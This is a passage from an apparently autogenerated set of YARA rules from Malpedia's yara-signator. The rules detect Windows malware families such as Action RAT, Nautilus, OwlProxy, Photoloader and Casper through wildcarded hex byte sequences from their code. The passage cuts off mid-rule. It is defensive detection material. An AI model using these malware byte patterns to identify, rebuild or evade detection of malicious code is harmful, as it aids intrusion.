		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0abe3565-6584-5599-b7de-461d5c2244c8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.action_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.action_rat_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "5ed778484db64ab13a477929c07da39230f4ad04ded616573b48c243aaef2b6f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b10 8955ec 8b45ec 3b45f0 7707 e8???????? eb3c }
		$sequence_1 = { 894d9c c645fc00 8d4db0 e8???????? c745fcffffffff 8d4d18 e8???????? }
		$sequence_2 = { 8b4df8 c1e104 81c1???????? e8???????? 8b55f8 c1e204 038298f80210 }
		$sequence_3 = { 51 ff15???????? 83c404 85c0 7412 0fbe5508 83ea30 }
		$sequence_4 = { 8b55f4 837a1800 7420 0fb645fb 50 8b4df4 8b4918 }
		$sequence_5 = { e8???????? 83c408 8d450c 50 8b4dec 83c104 51 }
		$sequence_6 = { d1e8 8945ec 8b4dec 034dc8 894de0 8b55f8 }
		$sequence_7 = { 8d4dec 51 8b4d08 e8???????? 50 8d55d0 }
		$sequence_8 = { 7702 eb02 eb9f 6a00 8b4dd4 51 8d4dd8 }
		$sequence_9 = { 8d4dd8 e8???????? 50 e8???????? 83c414 8945d4 8d4dd8 }
	condition:
		7 of them and filesize < 480256
}

rule MALPEDIA_Win_Nautilus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "77d46a5b-ac0a-5fed-b7dc-730469f1a198"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nautilus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nautilus_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "75449a89b7fb4754deadb905e528b81ef0ad7c932b9a665933340397cfc77449"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? eb0b 0f28ce 488bcb e8???????? 660f2efe 7a02 }
		$sequence_1 = { e8???????? 410fb7445c0a 498bce 0fb61406 448b0487 e8???????? 410fb7445c0c }
		$sequence_2 = { e9???????? 413bfc 0f84c7000000 41be20000000 eb09 413bfc 0f84b6000000 }
		$sequence_3 = { f20f5ccd eb08 f20f59ce f20f58ce 4885d2 7407 0f570d???????? }
		$sequence_4 = { eb19 443bc3 7f14 c1e917 4103c8 3bd9 7f0a }
		$sequence_5 = { 85c0 751b 488d4b18 8d5001 e8???????? 85c0 750b }
		$sequence_6 = { 7459 41ffca 740a b800bfffff 4883c458 c3 488b842498000000 }
		$sequence_7 = { 7520 488d7eff 488d55b0 488d4dc8 4885ff 756b e8???????? }
		$sequence_8 = { 83f815 0f842b010000 83f816 74ba 83f817 745e 7e3c }
		$sequence_9 = { 7424 bafeffff7f 33c9 e8???????? 8bcb 8bd0 488b4730 }
	condition:
		7 of them and filesize < 1302528
}

rule MALPEDIA_Win_Owlproxy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "63e3635a-b438-5b14-b4eb-af7ffdbef122"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.owlproxy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.owlproxy_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "53d3a09278d24d3abda5835aa7f0dd4ef8496154e71ad2a30bd173f4868edb33"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b4908 410fb7f0 488bfa 4c8d442450 488d542458 c744245014000000 ff15???????? }
		$sequence_1 = { 486bc000 488d0d42330200 8b542430 48891401 488d0d0b810100 e8???????? }
		$sequence_2 = { 55 57 4156 488da808feffff 4881ece0020000 48c7442478feffffff 48895818 }
		$sequence_3 = { e8???????? 4c8b742440 4c3b742448 7435 }
		$sequence_4 = { 2bf3 448bc6 488bd3 488d8c2430010000 e8???????? 448b8424f8000000 }
		$sequence_5 = { 498936 49895e08 49897e10 4883bd8800000010 7209 488b4d70 e8???????? }
		$sequence_6 = { 415e 415d 415c 5f c3 488d0d2c290200 e8???????? }
		$sequence_7 = { 480f4355b8 4533c0 488b4da8 ff15???????? 895db0 4c8d25f53c0200 }
		$sequence_8 = { 4883ec20 488d0d53580100 ff15???????? 488d1566580100 488bc8 488bd8 ff15???????? }
		$sequence_9 = { 4885db 0f8480000000 410fb60437 8803 eb77 483bdf 756a }
	condition:
		7 of them and filesize < 475136
}

rule MALPEDIA_Win_Scanline_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0a94c58f-9a04-5a8f-a52b-c8922aabd872"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scanline"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scanline_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "ae2af87b82d9394b37c14ff046f7786f58d075866fa464adcdf96cb76e14a4ba"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7404 8b400c c3 33c0 c3 83611000 c3 }
		$sequence_1 = { 740e 53 8bc8 ff742414 e8???????? eb02 }
		$sequence_2 = { 8bd8 85db 743d 6800040000 8d4608 ff7508 }
		$sequence_3 = { 7434 6a10 e8???????? 3bc3 59 740e 53 }
		$sequence_4 = { 750f 83f81f 730a 885c0438 8a1f 40 }
		$sequence_5 = { 7e10 894608 c1e003 50 e8???????? 59 894604 }
		$sequence_6 = { 59 59 8b45fc a3???????? e9???????? c705????????01000000 e9???????? }
		$sequence_7 = { 8bc8 c1e103 8bd1 89460c 33c0 c1e902 }
		$sequence_8 = { 51 bbffff0000 6806100000 53 50 ffd7 8d8608050000 }
		$sequence_9 = { 8b4e18 50 e8???????? 6a24 e8???????? 8bf8 59 }
	condition:
		7 of them and filesize < 151552
}

rule MALPEDIA_Win_Jripbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6dca0814-ee58-53a7-824c-c626a6b40b02"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jripbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jripbot_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "177d4eed69a2789f1363a5a38a7b17a6a4de0acf1062d48112f06f3ff8f9a1ab"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 52 51 50 0fbf45ee 50 be???????? e8???????? }
		$sequence_1 = { 50 ff15???????? eb61 ff742434 8d842464010000 ff742414 e8???????? }
		$sequence_2 = { 7436 830804 f6c302 742e 56 ff15???????? 50 }
		$sequence_3 = { 8d85a8fcffff 8d5001 8a08 40 3acb 75f9 2bc2 }
		$sequence_4 = { 50 8d442418 50 894c2420 ff15???????? 83c40c 85c0 }
		$sequence_5 = { 6a30 ff750c 8d75fc 8bcf e8???????? 83c408 }
		$sequence_6 = { 8b8de0fdffff 8bc3 668b10 663b11 751e 663bd7 7415 }
		$sequence_7 = { 33fb 037dfc 8b5ddc 235df4 0bf3 03f7 8b7d88 }
		$sequence_8 = { 8bf8 83c40c 85ff 0f85da000000 ff742410 8d442448 e8???????? }
		$sequence_9 = { 8d443718 50 e8???????? 83c40c 8d4618 8bce e8???????? }
	condition:
		7 of them and filesize < 507904
}

rule MALPEDIA_Win_Nim_Blackout_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "52c7d5e9-12a7-539a-90b8-852642880eb0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nim_blackout"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nim_blackout_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "6c5cae00e9c851f788aea7ba4107707f8738f1e8e9b098f9929e9947fb70cddd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 55 4889e5 4883ec30 48894d10 488b05???????? 4885c0 750d }
		$sequence_1 = { 488b00 eb05 b800000000 483b85a8000000 7f30 4883bdf800000000 }
		$sequence_2 = { 48c745c0c0000000 488d05ad7e0100 488945c8 488b45f0 488945f8 eb40 90 }
		$sequence_3 = { 48c1e003 4801d0 488b00 4885c0 741a 488b4510 488b5008 }
		$sequence_4 = { 488905???????? 488b05???????? 4885c0 750c 488d0d229c0100 e8???????? 488b05???????? }
		$sequence_5 = { 488b45f8 488905???????? eb01 90 e8???????? 90 4883c460 }
		$sequence_6 = { 488d05dd770100 488945e8 488b4510 488b00 ba08000000 4889c1 e8???????? }
		$sequence_7 = { 488945f8 48c745d07b000000 488d05d02a0200 488945d8 488b45f8 488d14c500000000 488b4518 }
		$sequence_8 = { 488d05ed680100 48894558 ba00000000 488b85b8000000 4883c001 7105 ba01000000 }
		$sequence_9 = { 488d05d2af0200 488945e8 488b5510 488b05???????? 488d4818 e8???????? e8???????? }
	condition:
		7 of them and filesize < 1068032
}

rule MALPEDIA_Win_Badencript_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ddb7f1a7-8259-5ec8-9b35-e98fb67b2310"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badencript"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.badencript_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "4aaa48768d97770f6e85ee594f356b88c6dabd160111a6a927596e69e9ca03f4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 23c1 eb55 8b1c9d68d14000 56 6800080000 }
		$sequence_1 = { 8b0c8d48414100 c644112800 85f6 740c }
		$sequence_2 = { 660fd60f 8d7f08 8b048d04b54000 ffe0 }
		$sequence_3 = { 57 8d1c85383d4100 33c0 f00fb10b 8b15???????? 83cfff }
		$sequence_4 = { 7451 83e809 7443 83e801 0f8501010000 c745e0a40f4100 }
		$sequence_5 = { 660fd60f 8d7f08 8b048d04b54000 ffe0 f7c703000000 7413 }
		$sequence_6 = { c1fa06 6bc830 8b049548414100 f644082801 7414 8d4508 8945fc }
		$sequence_7 = { 6bc830 8b049548414100 f644082801 7421 57 e8???????? }
		$sequence_8 = { 83e03f c1fa06 6bc830 8b049548414100 f644082801 7414 }
		$sequence_9 = { 7313 8a8750304100 08441619 42 }
	condition:
		7 of them and filesize < 335872
}

rule MALPEDIA_Win_Photoloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8e57491c-6cec-54b0-9e33-36f4eaa437c4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.photoloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.photoloader_auto.yar#L1-L174"
		license_url = "N/A"
		logic_hash = "2f15d6b5866c53e3831e42ccf3580d949b52efae89debdf96aad0057ebcc65ac"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0fa2 894704 33c9 b800000040 0fa2 }
		$sequence_1 = { 8bf7 8d6f10 ff15???????? 0f31 }
		$sequence_2 = { c0c003 0fb6c8 8bc1 83e10f }
		$sequence_3 = { ff15???????? 25ffffff00 0d00000005 e9???????? 8bd7 }
		$sequence_4 = { b800000040 0fa2 895f0c e8???????? }
		$sequence_5 = { f7411400000020 7407 8b41f8 3901 7714 }
		$sequence_6 = { 7512 ff15???????? 25ffffff00 0d00000007 eb4a 397b1c 7629 }
		$sequence_7 = { f7f1 438b4cd314 4803cb 4903c9 418d0411 }
		$sequence_8 = { 33c9 b801000080 0fa2 0fbae216 7307 }
		$sequence_9 = { b90b010000 66394a18 8d41ed 448d59fd 440f44d8 4533c9 4c03da }
		$sequence_10 = { 33ff 2175fc 85ff 751d }
		$sequence_11 = { 89470c e8???????? 894708 5f 5e 5d 5b }
		$sequence_12 = { 0fb6c3 8d95e8fdffff f7d8 1bc0 f7d0 25???????? }
		$sequence_13 = { 57 8bfa ff15???????? 8bac2434010000 25ffffff7f 8b9c2438010000 }
		$sequence_14 = { 8d461e 50 68???????? 8d1c31 }
		$sequence_15 = { 8bc8 2bfa 66890c17 46 8d5202 }
		$sequence_16 = { 6a44 5e 56 33db 8d442424 53 }
	condition:
		7 of them and filesize < 107520
}

rule MALPEDIA_Win_Mindware_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "23a8487f-e2c7-545b-81cb-6372e4caaae2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mindware"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mindware_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "c1e547ffdf51514bc4e27c57582e862eb5175ec80e05ba2145cb8dfa6653e95b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? e8???????? 83c40c 8b4dfc 8b7dfc 83c72c }
		$sequence_1 = { 50 8b4d08 8b5108 8b4508 8b12 8b4808 }
		$sequence_2 = { c7855cecfffff8d44300 c78560ecffff00d54300 c78564ecffff0cd54300 c78568ecffff18d54300 c7856cecffff24d54300 c78570ecffff2cd54300 c78574ecffff34d54300 }
		$sequence_3 = { c1e810 83e03f c1e918 83e13f 8b0c8d603a4400 330c8520394400 8bc2 }
		$sequence_4 = { 33148dc0bc4400 8bcb c1e918 33148dc0c44400 8b4df0 }
		$sequence_5 = { e8???????? 8b4dfc 51 e8???????? 8b55fc c7423000000000 8b45fc }
		$sequence_6 = { c78540f1ffffbce04300 c78544f1ffffc4e04300 c78548f1ffffcce04300 c7854cf1ffffd4e04300 c78550f1ffffe0e04300 c78554f1ffffece04300 c78558f1fffff4e04300 }
		$sequence_7 = { 83e03f 330c8520384400 330c95e03c4400 8bd3 33f1 c1ca04 33576c }
		$sequence_8 = { 8b4dfc 8b7dfc 83c72c 32c0 8b4928 }
		$sequence_9 = { 0fb689f0d84400 c1e108 33d1 8b4df0 c1e908 0fb6c9 c1e208 }
	condition:
		7 of them and filesize < 661504
}

rule MALPEDIA_Win_Miniasp_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "dd001a5f-6edc-54d2-8944-1f96a2068de8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miniasp"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.miniasp_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "d2281d1c5f13ba61fe4f1a7571230cd90a3ba2e219ba542805e8f7cc31494450"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4de8 e8???????? 0fb6c0 85c0 742f 8b45e8 }
		$sequence_1 = { 8a8d7bffffff 8808 8b4584 40 894584 8b4580 40 }
		$sequence_2 = { 75ef 8b45a0 2b459c 894594 6800000010 ff7594 ff7510 }
		$sequence_3 = { 8b45bc ffb0b4000000 8b45bc ffb088000000 8d4dfb e8???????? 8945fc }
		$sequence_4 = { 8b45f0 ffb088000000 e8???????? 83c40c 837df800 7463 }
		$sequence_5 = { 33c0 40 e9???????? 8b4510 25ffff0000 0fb7c0 8945b4 }
		$sequence_6 = { 8b4dfc c6040820 8b45fc 40 8945fc }
		$sequence_7 = { 7432 68???????? 8b45f8 ffb0e8000000 e8???????? 59 59 }
		$sequence_8 = { 807ddf00 741f 8b45e0 8a4001 8845de 8b4de4 }
		$sequence_9 = { 33c0 8b7df8 83c742 ab ab ab ab }
	condition:
		7 of them and filesize < 139264
}

rule MALPEDIA_Win_Scavenger_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d846177f-40f0-5608-9af6-8e72a353dfb4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scavenger"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scavenger_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "e670ed837cdbf1f563e9cd77410039750eec52dd374d49f9838ffc16cf920061"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0fb6c0 85c0 7421 488b442430 488b00 4889442458 488b442458 }
		$sequence_1 = { 488b442428 48c7401800000000 488b8424a8000000 488b4010 4889442470 488b8424a8000000 4889442430 }
		$sequence_2 = { 4889442420 488b8c2410010000 e8???????? 4839842420010000 7606 e8???????? }
		$sequence_3 = { 4889442440 488b442430 4883c010 4889442448 }
		$sequence_4 = { 4889442438 e9???????? 33d2 b80f000000 b902000000 48f7f1 488b4c2430 }
		$sequence_5 = { 488b442428 48c7401800000000 488b8424a8000000 488b4010 }
		$sequence_6 = { 4889442420 488b442420 4889442448 488b442420 4883c008 4889442450 }
		$sequence_7 = { 4889442468 48c7442430ffffffff 488b442430 4889442478 }
		$sequence_8 = { 488378180f 760a c744243001000000 eb08 c744243000000000 0fb6442430 88442420 }
		$sequence_9 = { 4883ec60 488b442470 4889442448 488b442478 4889442438 488b442438 }
	condition:
		7 of them and filesize < 2992128
}

rule MALPEDIA_Win_Buzus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "51e8e3ea-5fd9-5a65-8632-fc964a25884b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buzus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.buzus_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "45f59120d6ee3fd13d7fe4ef65dc14248ca6854e32422138403891c6247259ef"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d85d8faffff 50 ffd6 6804010000 8d85ccfdffff ff75a0 50 }
		$sequence_1 = { 4e 46 897508 ebbd 803e2a 750b 83f801 }
		$sequence_2 = { 59 7413 ff751c 68???????? ff36 56 e8???????? }
		$sequence_3 = { 891d???????? 68???????? ffd5 85c0 740a c705????????01000000 }
		$sequence_4 = { b8???????? ba???????? 89858cfcffff 8985a0fcffff b8???????? 57 c785fcfbffffc8c94000 }
		$sequence_5 = { 8b742410 33db 33ed 3bf3 7e58 }
		$sequence_6 = { 53 8d5904 57 6a00 ffd6 59 }
		$sequence_7 = { c78574feffffa8cf4000 c78578feffff9ccf4000 c7857cfeffff90cf4000 c78580feffff84cf4000 c78584feffff54cf4000 c78588feffff44cf4000 c7858cfeffff2ccf4000 }
		$sequence_8 = { 44 1573d2446b 68ded17fda ca426b 68dddb1ffb 06 9f }
		$sequence_9 = { 5f c9 c3 e8???????? 68a5040000 ff15???????? ebee }
	condition:
		7 of them and filesize < 679936
}

rule MALPEDIA_Win_Socelars_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3509baee-4e8c-59b5-b156-e68f4beae715"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.socelars"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.socelars_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "a3ac10f2bb04512e9390a5496d935cded9fb0eddb2b0634c3c4f320efa071722"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b8b88000000 394830 7f1c 8b542430 8bcb 6a00 52 }
		$sequence_1 = { 8b432c 035514 40 837d1800 89432c 8b4f04 894c2424 }
		$sequence_2 = { e8???????? 83c40c 894590 8b4d90 51 8d4d98 e8???????? }
		$sequence_3 = { 8b55b8 83c202 3b5524 7735 8b4520 0345b8 0fbe08 }
		$sequence_4 = { e8???????? c745fc00000000 8b5510 2b550c 8955d4 837dd400 766d }
		$sequence_5 = { ff15???????? 83c404 8b4e68 85c9 7414 0fb7868c000000 3bf8 }
		$sequence_6 = { ffd0 83c404 85c0 7417 b80a000000 5f 5e }
		$sequence_7 = { ff75f4 03c6 89461c ff712c 50 e8???????? 8b4dfc }
		$sequence_8 = { e9???????? 83cbff 8b4db8 83790400 0f8579ffffff c745a000000000 c7410401000000 }
		$sequence_9 = { 8b7c2448 99 03f8 13ca 83c70a 897c2448 83d100 }
	condition:
		7 of them and filesize < 2151424
}

rule MALPEDIA_Win_Starsypound_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "70e37162-3a73-596a-8d7d-42b9d85b78f7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.starsypound"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.starsypound_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "abf4ae91c4287e1227ba24bd55f61dc3c1250c1b8b21f760166157e29806933f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 8dbc2458010000 83c9ff 33c0 }
		$sequence_1 = { 68???????? 52 e8???????? 83c420 85c0 7444 8b5304 }
		$sequence_2 = { 53 56 57 6a18 e8???????? 8bb42424040000 }
		$sequence_3 = { 8d4c2428 68???????? 51 e8???????? 56 8d542434 }
		$sequence_4 = { 8bfd 8d44240c f3a5 8b5500 8b3d???????? 6a00 }
		$sequence_5 = { 885c3438 c744241804010000 ff15???????? 8dbc2458010000 83c9ff 33c0 }
		$sequence_6 = { 50 8d4c2424 56 51 52 }
		$sequence_7 = { f3a4 885c0444 bf???????? 83c9ff 33c0 33f6 }
		$sequence_8 = { 83c40c 85c0 7e2b eb08 }
		$sequence_9 = { e8???????? 68c0270900 ff15???????? e8???????? 5f }
	condition:
		7 of them and filesize < 40960
}

rule MALPEDIA_Win_Casper_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a2a62877-f95a-5635-83dc-ecf2c1bcc8c6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.casper"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.casper_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "51f38b9a318c7cdad54224577e1ce438c8182ba77e67e0978d20f3d358b38e98"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 59 8d4df8 51 6a01 50 6801000080 }
		$sequence_1 = { 88471c 8a4626 88471d 8b4624 59 c1e808 59 }
		$sequence_2 = { 83c40c ff7010 8d8560fdffff 68???????? 50 }
		$sequence_3 = { 832600 83661400 894608 c7461000100000 e8???????? 8945fc a1???????? }
		$sequence_4 = { 8d8500ffffff 50 ff7510 e8???????? 83c410 8d8500ffffff 50 }
		$sequence_5 = { 897808 eb02 33c0 8930 897804 8b4b10 }
		$sequence_6 = { 5e 40 5b c9 c21000 8b8118010000 c3 }
		$sequence_7 = { 8a01 84c0 75f1 8b4d08 52 ff7510 }
		$sequence_8 = { 81e200008000 52 57 57 57 ff75a8 ff34850ca14200 }
